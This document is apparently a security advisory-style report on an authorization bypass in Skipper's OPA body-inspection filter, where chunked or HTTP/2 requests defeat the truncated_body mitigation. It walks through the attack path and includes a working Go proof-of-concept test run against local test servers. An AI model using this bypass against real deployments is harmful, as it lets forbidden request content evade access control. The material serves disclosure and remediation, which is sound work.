- **Affected component:** `filters/openpolicyagent/openpolicyagent.go` → `ExtractHttpBodyOptionally`; combined with `github.com/open-policy-agent/opa-envoy-plugin` `envoyauth/request.go` → `getParsedBody` / `checkIfHTTPBodyTruncated`. Filter: `opaAuthorizeRequestWithBody`.
- **Affected versions:** `<= 0.27.33` (current HEAD `e7d7014c`). The `truncated_body` mitigation was introduced/recommended in v0.27.26 (advisory GHSA-8qqm-fp2q-v734) and remains bypassable.
- **Fix chain being audited:** CVE-2026-50197 (GHSA-659f-rgp5-w4wf, commit `3152f3b0`) → GHSA-8qqm-fp2q-v734 (docs + code, commit `1be950cd` #4126, v0.27.26). This finding is the third, still-open variant.
## Summary
Skipper's `opaAuthorizeRequestWithBody` filter authorizes requests by handing the (bounded) request body to Open Policy Agent. When a body exceeds `-open-policy-agent-max-request-body-size` (default 1 MB), Skipper truncates it before OPA sees it. Advisory **GHSA-8qqm-fp2q-v734** established that deny-on-presence / body-inspecting policies fail OPEN on oversized bodies, and its remediation instructs policy authors to **guard on `input.attributes.request.http.truncated_body`** (implemented as the top-level `input.truncated_body`):
```rego
default allow := false
allow if {
input.truncated_body == false
# ... body-based conditions
}
```
That mitigation is itself incomplete. The `truncated_body` flag is computed by the OPA envoy plugin **only when a `content-length` header is present**. A request sent with `Transfer-Encoding: chunked` (HTTP/1.1) or over HTTP/2 carries **no `content-length`**, so `truncated_body` is left `false` even though Skipper truncated the body. The mitigated policy therefore evaluates `input.truncated_body == false` as *true* and **ALLOWS** the request, while the **full, un-inspected oversized payload is forwarded to the upstream** (Skipper's `bufferedBodyReader` streams the buffered prefix and then continues draining the original body).
The transport that defeats the mitigation — chunked / HTTP-2 without Content-Length — is the **exact transport class the original CVE-2026-50197 was about**; the GHSA-8qqm fix closed the declared-Content-Length variant and its positive-control test only exercised *small* chunked bodies, never *oversized* chunked bodies.
## Root cause
`opa-envoy-plugin/envoyauth/request.go`:
```go
func getParsedBody(...) (any, bool, error) {
if val, ok := headers["content-type"]; ok {
if strings.Contains(val, "application/json") {
...
if val, ok := headers["content-length"]; ok { // <-- only path that sets truncation
truncated, err := checkIfHTTPBodyTruncated(val, int64(len(body)))
...
if truncated { return nil, true, nil }
}
...
} else if ... "application/x-www-form-urlencoded" { /* same content-length gate */ }
else if ... "multipart/form-data" { /* same content-length gate */ }
}
return data, false, nil // <-- no content-length ==> truncated_body = false
}
func checkIfHTTPBodyTruncated(contentLength string, bodyLength int64) (bool, error) {
cl, _ := strconv.ParseInt(contentLength, 10, 64)
if cl != -1 && cl > bodyLength { return true, nil }
return false, nil
}
```
Truncation can only ever be signalled by comparing `content-length` against the received body length. With chunked/HTTP-2 there is no `content-length`, so the comparison is skipped and `truncated_body` is reported `false`. Skipper (`ExtractHttpBodyOptionally`) meanwhile *does* truncate the chunked body to `maxBodyBytes` (it sets `expectedSize = maxBodyBytes` when `req.ContentLength < 0`), producing the exact divergence: OPA is told "not truncated", but the body was truncated, and the backend receives the whole thing.
## Reachability
1. Deployment runs `opaAuthorizeRequestWithBody` with a body-inspecting policy that follows the GHSA-8qqm mitigation (`allow if input.truncated_body == false`). This is the maintainer-recommended configuration (advisory + v0.27.26 docs).
2. Attacker sends a request whose body exceeds `max-request-body-size` using `Transfer-Encoding: chunked` (or HTTP/2). No `content-length` header is present.
3. `ExtractHttpBodyOptionally` reads/truncates the body to `maxBodyBytes`; `rawBody` is the truncated prefix.
4. `AdaptToExtAuthRequest` forwards the lowercased headers (no `content-length`) and the truncated `RawBody` to OPA.
5. `getParsedBody` finds no `content-length` → `truncated_body = false`; for a non-parsed content-type it also returns `parsed_body = null` with no error.
6. Policy: `input.truncated_body == false` is satisfied → `allow = true`.
7. Skipper forwards the request; `bufferedBodyReader.Read` serves the buffered prefix and then continues reading the original `req.Body`, delivering the **full oversized payload** to the upstream.
Every guard on the path is accounted for: the only "guard" is `truncated_body`, and it is defeated by omitting `content-length`.
## Impact
Bypass of OPA request-body authorization for any deployment that adopted the official `truncated_body` mitigation. Requests that the policy is meant to reject (oversized / un-inspectable bodies, or bodies whose forbidden content lies beyond the inspection window) are authorized and forwarded in full to the protected upstream. Same security property and severity class as CVE-2026-50197 / GHSA-8qqm (both High).
## CVSS 3.1
Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5 High**
- **AV:N** — remote HTTP request.
- **AC:L** — single crafted request; no race/special conditions (just chunked framing + padding).
- **PR:N / UI:N** — unauthenticated, no user interaction.
- **S:U** — impact within the authorized component/upstream trust scope.
- **C:N** — no direct disclosure by the bypass itself.
- **I:H** — authorization control is bypassed; forbidden request content reaches the upstream (integrity of the access-control decision / protected resource).
- **A:N** — not primarily an availability issue.
(Conditional: exploitable only where `opaAuthorizeRequestWithBody` is used with a `truncated_body`-gated policy — i.e. deployments that followed the GHSA-8qqm mitigation. Consistent with the conditional nature of the parent CVEs.)
## Proof of Concept
Executable Go test added to the OPA filter package. It stands up a real Skipper proxy (`proxy.WithParams`) + a real OPA control plane (`opasdktest`) with `WithMaxRequestBodyBytes(32)` and the advisory's verbatim mitigation policy (`allow if input.truncated_body == false`), routed to a recording upstream.
- **Positive control** — oversized body **with Content-Length** → `truncated_body=true` → **403** (mitigation works).
- **Bypass** — identical oversized body sent **chunked** (no Content-Length) → `truncated_body=false` → **200**, and the upstream receives the **full** 66-byte payload past the 32-byte inspection cap.
Command and observed benign output:
```
$ go test ./filters/openpolicyagent/ -run TestTruncatedBodyChunkedBypass -count=1 -v
poc_truncated_body_chunked_test.go:148: [content-length ] status=403 upstream_body_bytes=-1
poc_truncated_body_chunked_test.go:154: [chunked ] status=200 upstream_body_bytes=66
--- PASS: TestTruncatedBodyChunkedBypass (0.11s)
PASS
```
- content-length variant → **403**, upstream received nothing (`-1`) — mitigation works.
- chunked variant (byte-identical body) → **200**, upstream received the **full 66-byte** payload past the 32-byte cap — **authorization bypass**.
(Full PoC source is appended below by the submission tool via `--poc-file`.)
## Adversarial re-read (refutation attempts)
- *"Truncated JSON just fails to parse → fail closed."* True for `application/json` when truncation lands mid-token, but the bypass does not rely on JSON: `application/x-www-form-urlencoded` parses leniently after truncation, and unparsed/absent content-types return `(nil, false, nil)` with no error. The load-bearing signal is `truncated_body`, not `parsed_body`, and it is `false` in all these cases.
- *"Maybe Skipper adds a content-length for chunked before OPA sees it."* No — `AdaptToExtAuthRequest` copies `req.Header` verbatim (lowercased); a chunked request has no `content-length` header, and net/http does not synthesise one. Confirmed by reading `skipperadapter.go`.
- *"Maybe the mitigation is `deny if truncated_body == true` (allow-by-default), which is unaffected."* Both shapes in the advisory rely on `truncated_body` correctly reflecting truncation; the deny-if shape simply *fails to deny* under the same chunked condition. The allow-if shape (shown) fails open directly.
- *"Is this already covered by CVE-2026-50197?"* No. 50197 was the *empty-body* chunked bypass (OPA saw no body); its fix makes OPA see the truncated prefix. GHSA-8qqm was the declared-Content-Length oversized variant; its fix populates `parsed_body` and recommends `truncated_body`. Neither addresses `truncated_body` being unset for chunked/HTTP-2 oversized bodies. The 8qqm positive-control test only used small chunked bodies.
Result: survives refutation; concrete, reproducible bypass of the published mitigation. Differentiation check passes (incomplete-fix of a published advisory, not a generic surface bug).
## Remediation
Do not rely on the client-supplied `content-length` header to detect truncation. Skipper should signal truncation authoritatively to OPA rather than delegating to the plugin's Content-Length heuristic. Concretely, in `ExtractHttpBodyOptionally`, detect that the underlying body still has bytes after `maxBodyBytes` were buffered (e.g. attempt one more read / peek) and propagate a definitive truncation indicator — for example by setting a synthetic `content-length` (or a dedicated context extension / metadata field) that reflects the real truncation state, so `input.truncated_body` is `true` whenever the body was actually cut, regardless of transfer encoding. Alternatively, reject (413) requests whose body exceeds `maxBodyBytes` when body-based authorization is enabled, instead of silently truncating. Upstream, `opa-envoy-plugin` should treat "body present but not fully inspectable and no content-length" as truncated rather than defaulting to `false`.
## Confidence
High. Root cause verified in both Skipper and the pinned `
[email protected]` source; executable PoC demonstrates the status/upstream-body divergence against the maintainer's own recommended mitigation.
## Proof-of-Concept source (`poc_truncated_body_chunked_test.go`)
```go
package openpolicyagent_test
import (
"fmt"
"io"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
opasdktest "github.com/open-policy-agent/opa/v1/sdk/test"
"github.com/stretchr/testify/assert"
"github.com/zalando/skipper/eskip"
"github.com/zalando/skipper/filters"
"github.com/zalando/skipper/filters/builtin"
"github.com/zalando/skipper/filters/openpolicyagent"
"github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest"
"github.com/zalando/skipper/proxy"
"github.com/zalando/skipper/routing"
"github.com/zalando/skipper/routing/testdataclient"
)
// TestTruncatedBodyChunkedBypass demonstrates that the GHSA-8qqm-fp2q-v734
// mitigation ("check input.truncated_body in your policy") fails OPEN when the
// oversized request is sent with Transfer-Encoding: chunked (no Content-Length).
//
// The mitigation Rego (verbatim from the advisory):
//
// default allow := false
// allow if { input.truncated_body == false }
//
// truncated_body is derived by the OPA envoy plugin ONLY when a content-length
// header is present (opa-envoy-plugin envoyauth/request.go getParsedBody ->
// checkIfHTTPBodyTruncated). A chunked / HTTP-2 request carries no
// content-length, so truncated_body stays false even though Skipper truncated
// the body to max-request-body-size. The mitigated policy therefore ALLOWS an
// oversized body and the full payload reaches upstream.
func TestTruncatedBodyChunkedBypass(t *testing.T) {
const maxBody = 32
// oversized url-encoded payload: "a=" + 64 * "A" = 66 bytes > 32.
payload := "a=" + strings.Repeat("A", 64)
// upstream records how many body bytes it actually received.
var upstreamBytes atomic.Int64
backend := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
n, _ := io.Copy(io.Discard, r.Body)
upstreamBytes.Store(n)
w.WriteHeader(200)
w.Write([]byte("OK"))
}))
defer backend.Close()
bundleName := "test-bundle"
opaControlPlane := opasdktest.MustNewServer(
opasdktest.MockBundle("/bundles/"+bundleName, map[string]string{
// The exact mitigation the advisory recommends.
"main.rego": `
package envoy.authz
import rego.v1
default allow := false
allow if {
input.truncated_body == false
}
`,
}),
)
defer opaControlPlane.Stop()
config := fmt.Appendf(nil, `{
"services": {"test": {"url": %q}},
"bundles": {"test": {"resource": "/bundles/{{ .bundlename }}"}},
"labels": {"environment": "test"},
"plugins": {"envoy_ext_authz_grpc": {"path": "envoy/authz/allow", "dry-run": false}}
}`, opaControlPlane.URL())
opaRegistry, err := openpolicyagent.NewOpenPolicyAgentRegistry(
openpolicyagent.WithPreloadingEnabled(true),
openpolicyagent.WithEnableDataPreProcessingOptimization(true),
openpolicyagent.WithInstanceStartupTimeout(5*time.Second),
openpolicyagent.WithMaxRequestBodyBytes(maxBody),
openpolicyagent.WithOpenPolicyAgentInstanceConfig(
openpolicyagent.WithConfigTemplate(config)),
)
if err != nil {
t.Fatalf("opaRegistry: %v", err)
}
defer opaRegistry.Close()
fr := make(filters.Registry)
fr.Register(opaauthorizerequest.NewOpaAuthorizeRequestWithBodySpec(opaRegistry))
fr.Register(builtin.NewSetPath())
docFmt := `r1: * -> opaAuthorizeRequestWithBody("%s") -> "%s";`
r := eskip.MustParse(fmt.Sprintf(docFmt, bundleName, backend.URL))
dc := testdataclient.New(r)
defer dc.Close()
rt := routing.New(routing.Options{
FilterRegistry: fr,
DataClients: []routing.DataClient{dc},
PreProcessors: []routing.PreProcessor{opaRegistry.NewPreProcessor()},
PostProcessors: []routing.PostProcessor{opaRegistry},
PollTimeout: time.Second,
SignalFirstLoad: true,
})
defer rt.Close()
<-rt.FirstLoad()
pr := proxy.WithParams(proxy.Params{Routing: rt})
defer pr.Close()
ts := httptest.NewServer(pr)
defer ts.Close()
inst, err := opaRegistry.GetOrStartInstance(bundleName)
assert.NoError(t, err)
assert.NotNil(t, inst)
doReq := func(chunked bool) (int, int64) {
upstreamBytes.Store(-1)
req, err := http.NewRequest("POST", ts.URL, strings.NewReader(payload))
if err != nil {
t.Fatalf("new request: %v", err)
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
if chunked {
// Force chunked framing: no Content-Length reaches the server,
// so the server sees req.ContentLength == -1.
req.ContentLength = -1
req.TransferEncoding = []string{"chunked"}
}
rsp, err := ts.Client().Do(req)
if err != nil {
t.Fatalf("do: %v", err)
}
io.Copy(io.Discard, rsp.Body)
rsp.Body.Close()
return rsp.StatusCode, upstreamBytes.Load()
}
// POSITIVE CONTROL: oversized body WITH Content-Length.
// truncated_body == true -> policy denies. Mitigation works as designed.
clStatus, clUpstream := doReq(false)
t.Logf("[content-length ] status=%d upstream_body_bytes=%d", clStatus, clUpstream)
assert.Equal(t, 403, clStatus, "oversized body with Content-Length must be DENIED (mitigation working)")
// BYPASS: identical oversized body sent CHUNKED (no Content-Length).
// truncated_body == false -> policy ALLOWS -> full payload reaches upstream.
chStatus, chUpstream := doReq(true)
t.Logf("[chunked ] status=%d upstream_body_bytes=%d", chStatus, chUpstream)
assert.Equal(t, 200, chStatus, "BYPASS: oversized chunked body was ALLOWED by the truncated_body mitigation")
assert.Equal(t, int64(len(payload)), chUpstream,
"BYPASS: upstream received the FULL oversized payload past OPA authorization")
}
```
